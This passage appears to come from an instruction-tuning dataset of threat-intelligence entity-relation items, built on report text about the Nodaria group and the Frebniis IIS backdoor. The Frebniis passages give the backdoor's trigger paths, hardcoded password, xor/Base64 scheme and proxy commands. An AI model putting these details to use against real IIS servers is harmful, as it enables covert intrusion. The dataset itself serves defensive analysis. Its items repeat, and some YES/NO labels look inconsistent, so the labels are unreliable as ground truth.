NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Graphiron\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Elephant Client\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: WhisperGate\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Kyrgyzstan\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Georgia\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Bitcoin\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Kyrgyzstan\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Kyrgyzstan\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Ukraine\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Georgia\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nElephant Downloader\n### Target Entity: Russia\n### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFrebniis\n### Target Entity: Windows\n### Text Passage:\nMalware injects malicious code into Failed Request Event Buffering module in order to monitor HTTP requests from attacker.\nSymantec, by Broadcom Software, has observed a new malware that abuses a feature of Microsoft\u2019s Internet Information Services (IIS) to deploy a backdoor onto targeted systems.\nThe malware, dubbed Frebniis (Backdoor.Frebniis), was used by a currently unknown threat actor against targets in Taiwan.\nThe technique used by Frebniis involves injecting malicious code into the memory of a DLL file (iisfreb.dll) related to an IIS feature used to troubleshoot and analyze failed web page requests. This allows the malware to stealthily monitor all HTTP requests and recognize specially formatted HTTP requests sent by the attacker, allowing for remote code execution. In order to use this technique, an attacker needs to gain access to the Windows system running the IIS server by some other means. In this particular case, it is unclear how this access was achieved.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFrebniis\n### Target Entity: IIS\n### Text Passage:\nMalware injects malicious code into Failed Request Event Buffering module in order to monitor HTTP requests from attacker.\nSymantec, by Broadcom Software, has observed a new malware that abuses a feature of Microsoft\u2019s Internet Information Services (IIS) to deploy a backdoor onto targeted systems.\nThe malware, dubbed Frebniis (Backdoor.Frebniis), was used by a currently unknown threat actor against targets in Taiwan.\nThe technique used by Frebniis involves injecting malicious code into the memory of a DLL file (iisfreb.dll) related to an IIS feature used to troubleshoot and analyze failed web page requests. This allows the malware to stealthily monitor all HTTP requests and recognize specially formatted HTTP requests sent by the attacker, allowing for remote code execution. In order to use this technique, an attacker needs to gain access to the Windows system running the IIS server by some other means. In this particular case, it is unclear how this access was achieved.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFrebniis\n### Target Entity: Taiwan\n### Text Passage:\nMalware injects malicious code into Failed Request Event Buffering module in order to monitor HTTP requests from attacker.\nSymantec, by Broadcom Software, has observed a new malware that abuses a feature of Microsoft\u2019s Internet Information Services (IIS) to deploy a backdoor onto targeted systems.\nThe malware, dubbed Frebniis (Backdoor.Frebniis), was used by a currently unknown threat actor against targets in Taiwan.\nThe technique used by Frebniis involves injecting malicious code into the memory of a DLL file (iisfreb.dll) related to an IIS feature used to troubleshoot and analyze failed web page requests. This allows the malware to stealthily monitor all HTTP requests and recognize specially formatted HTTP requests sent by the attacker, allowing for remote code execution. In order to use this technique, an attacker needs to gain access to the Windows system running the IIS server by some other means. In this particular case, it is unclear how this access was achieved.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\niisfreb.dll\n### Target Entity: IIS\n### Text Passage:\nMalware injects malicious code into Failed Request Event Buffering module in order to monitor HTTP requests from attacker.\nSymantec, by Broadcom Software, has observed a new malware that abuses a feature of Microsoft\u2019s Internet Information Services (IIS) to deploy a backdoor onto targeted systems.\nThe malware, dubbed Frebniis (Backdoor.Frebniis), was used by a currently unknown threat actor against targets in Taiwan.\nThe technique used by Frebniis involves injecting malicious code into the memory of a DLL file (iisfreb.dll) related to an IIS feature used to troubleshoot and analyze failed web page requests. This allows the malware to stealthily monitor all HTTP requests and recognize specially formatted HTTP requests sent by the attacker, allowing for remote code execution. In order to use this technique, an attacker needs to gain access to the Windows system running the IIS server by some other means. In this particular case, it is unclear how this access was achieved.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\niisfreb.dll\n### Target Entity: Windows\n### Text Passage:\nMalware injects malicious code into Failed Request Event Buffering module in order to monitor HTTP requests from attacker.\nSymantec, by Broadcom Software, has observed a new malware that abuses a feature of Microsoft\u2019s Internet Information Services (IIS) to deploy a backdoor onto targeted systems.\nThe malware, dubbed Frebniis (Backdoor.Frebniis), was used by a currently unknown threat actor against targets in Taiwan.\nThe technique used by Frebniis involves injecting malicious code into the memory of a DLL file (iisfreb.dll) related to an IIS feature used to troubleshoot and analyze failed web page requests. This allows the malware to stealthily monitor all HTTP requests and recognize specially formatted HTTP requests sent by the attacker, allowing for remote code execution. In order to use this technique, an attacker needs to gain access to the Windows system running the IIS server by some other means. In this particular case, it is unclear how this access was achieved.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFrebniis\n### Target Entity: IIS\n### Text Passage:\nFrebniis: New Malware Abuses Microsoft IIS Feature to Establish Backdoor\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ndefault.aspx\n### Target Entity: .NET\n### Text Passage:\nBackdoor\nThe Frebniis malicious injected code parses all received HTTP POST requests for /logon.aspx or /default.aspx along with a parameter password set to \u20187ux4398!\u2019. If the password matches, Frebniis decrypts and executes a section of the injected code, which is .NET executable code consisting of the main backdoor functionality. No executables are saved to disk in this process, keeping the backdoor completely stealthy.\nThe .NET code provides proxying functionality and remote code execution controlled by a provided second HTTP parameter that is a Base64 encoded string.\nTo enable the proxy, the encoded string is Base64 decoded and then decrypted (xor 0x08), with the first character representing a proxy command followed by expected parameters. The proxy is used to send and receive Base64 encoded data from other computer systems. This allows the attackers to communicate with internal resources that may normally be blocked from the internet via the compromised IIS server.\nTable 1. Frebniis commands \u2013 the function names have been misspelled by the malware author Command Function name Parameter Description\n------------\n1 CreateConnect Host:Port Connect to a remote system for proxying, returns a UUID representing the remote system\n2 ReadScoket Uuid Read a Base64 string from a remote system\n3 Writescoket Uuid, Base64 string Write a Base64 string to a remote system\n4 CloseScoket Uuid Close the connection\nThe .NET backdoor code also supports remote execution. If an HTTP call to logon.aspx or default.aspx is received without the password parameter, but with the Base64 string, the Base64 string is assumed to be C# code that will be executed straight in memory. The Base64 string is decoded and then decrypted (xor 0x08) and is expected to be an XML document with the C# code to be executed in the \u2018/doc\u2019 node under the \u2018data\u2019 attribute (E.g. ). The C# code is extracted and executed. This allows Frebniis to stealthily execute arbitrary code on the system.\nFigure 3. Example of how Frebniis is used\nBy hijacking and modifying IIS web server code, Frebniis is able to intercept the regular flow of HTTP request handling and look for specially formatted HTTP requests. These requests allow remote code execution and proxying to internal systems in a stealthy manner. No files or suspicious processes will be running on the system, making Frebniis a relatively unique and rare type of HTTP backdoor seen in the wild.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nlogon.aspx\n### Target Entity: .NET\n### Text Passage:\nBackdoor\nThe Frebniis malicious injected code parses all received HTTP POST requests for /logon.aspx or /default.aspx along with a parameter password set to \u20187ux4398!\u2019. If the password matches, Frebniis decrypts and executes a section of the injected code, which is .NET executable code consisting of the main backdoor functionality. No executables are saved to disk in this process, keeping the backdoor completely stealthy.\nThe .NET code provides proxying functionality and remote code execution controlled by a provided second HTTP parameter that is a Base64 encoded string.\nTo enable the proxy, the encoded string is Base64 decoded and then decrypted (xor 0x08), with the first character representing a proxy command followed by expected parameters. The proxy is used to send and receive Base64 encoded data from other computer systems. This allows the attackers to communicate with internal resources that may normally be blocked from the internet via the compromised IIS server.\nTable 1. Frebniis commands \u2013 the function names have been misspelled by the malware author Command Function name Parameter Description\n------------\n1 CreateConnect Host:Port Connect to a remote system for proxying, returns a UUID representing the remote system\n2 ReadScoket Uuid Read a Base64 string from a remote system\n3 Writescoket Uuid, Base64 string Write a Base64 string to a remote system\n4 CloseScoket Uuid Close the connection\nThe .NET backdoor code also supports remote execution. If an HTTP call to logon.aspx or default.aspx is received without the password parameter, but with the Base64 string, the Base64 string is assumed to be C# code that will be executed straight in memory. The Base64 string is decoded and then decrypted (xor 0x08) and is expected to be an XML document with the C# code to be executed in the \u2018/doc\u2019 node under the \u2018data\u2019 attribute (E.g. ). The C# code is extracted and executed. This allows Frebniis to stealthily execute arbitrary code on the system.\nFigure 3. Example of how Frebniis is used\nBy hijacking and modifying IIS web server code, Frebniis is able to intercept the regular flow of HTTP request handling and look for specially formatted HTTP requests. These requests allow remote code execution and proxying to internal systems in a stealthy manner. No files or suspicious processes will be running on the system, making Frebniis a relatively unique and rare type of HTTP backdoor seen in the wild.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFrebniis\n### Target Entity: IIS\n### Text Passage:\nBackdoor\nThe Frebniis malicious injected code parses all received HTTP POST requests for /logon.aspx or /default.aspx along with a parameter password set to \u20187ux4398!\u2019. If the password matches, Frebniis decrypts and executes a section of the injected code, which is .NET executable code consisting of the main backdoor functionality. No executables are saved to disk in this process, keeping the backdoor completely stealthy.\nThe .NET code provides proxying functionality and remote code execution controlled by a provided second HTTP parameter that is a Base64 encoded string.\nTo enable the proxy, the encoded string is Base64 decoded and then decrypted (xor 0x08), with the first character representing a proxy command followed by expected parameters. The proxy is used to send and receive Base64 encoded data from other computer systems. This allows the attackers to communicate with internal resources that may normally be blocked from the internet via the compromised IIS server.\nTable 1. Frebniis commands \u2013 the function names have been misspelled by the malware author Command Function name Parameter Description\n------------\n1 CreateConnect Host:Port Connect to a remote system for proxying, returns a UUID representing the remote system\n2 ReadScoket Uuid Read a Base64 string from a remote system\n3 Writescoket Uuid, Base64 string Write a Base64 string to a remote system\n4 CloseScoket Uuid Close the connection\nThe .NET backdoor code also supports remote execution. If an HTTP call to logon.aspx or default.aspx is received without the password parameter, but with the Base64 string, the Base64 string is assumed to be C# code that will be executed straight in memory. The Base64 string is decoded and then decrypted (xor 0x08) and is expected to be an XML document with the C# code to be executed in the \u2018/doc\u2019 node under the \u2018data\u2019 attribute (E.g. ). The C# code is extracted and executed. This allows Frebniis to stealthily execute arbitrary code on the system.\nFigure 3. Example of how Frebniis is used\nBy hijacking and modifying IIS web server code, Frebniis is able to intercept the regular flow of HTTP request handling and look for specially formatted HTTP requests. These requests allow remote code execution and proxying to internal systems in a stealthy manner. No files or suspicious processes will be running on the system, making Frebniis a relatively unique and rare type of HTTP backdoor seen in the wild.\n", + "output": "YES" + }, + { + "instruction": 